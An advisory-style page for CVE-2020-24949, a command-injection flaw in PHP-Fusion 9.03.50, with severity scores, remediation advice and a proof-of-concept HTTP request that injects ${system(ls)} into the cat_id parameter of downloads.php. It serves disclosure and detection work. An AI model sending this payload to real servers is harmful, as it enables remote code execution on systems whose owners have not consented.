| Title | PHP-Fusion 9.03.50 - Remote Code Execution |
|---|---|
| Author | geeknik |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise. |
| Remediation | Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion. |
| CVSS Score | 8.8 |
| EPSS Score | 0.8889 |
| CVE ID | CVE-2020-24949 |
| CWE ID | CWE-77 |
| Tags | cve cve2020 rce php packetstorm phpfusion php-fusion vkev vuln |
PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.
GET /infusions/downloads/downloads.php?cat_id=${system(ls)} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24949.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-24949.pcap
N/AN/A